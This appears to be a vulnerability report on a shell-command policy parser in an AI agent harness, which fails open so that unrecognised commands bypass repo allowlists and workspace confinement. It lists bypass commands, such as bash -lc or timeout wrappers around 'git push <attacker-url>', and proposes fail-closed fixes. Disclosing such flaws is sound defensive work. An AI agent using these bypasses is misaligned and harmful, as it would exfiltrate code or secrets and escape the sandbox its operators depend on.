Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/shell.py (shared parser) → consumed by policies/builtins/github.py (writerepos/writebranches allowlist) and policies/builtins/workingdir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

- git push to an attacker-controlled repo (code / secret exfiltration), - push to a protected branch, - escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

- Combined interpreter flags: bash -lc "git push <attacker-url>" - Unlisted wrappers: timeout / nice / setsid / stdbuf … git push … - Command substitution: x=$(git push <attacker-url>) - Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow. 2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation. 3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.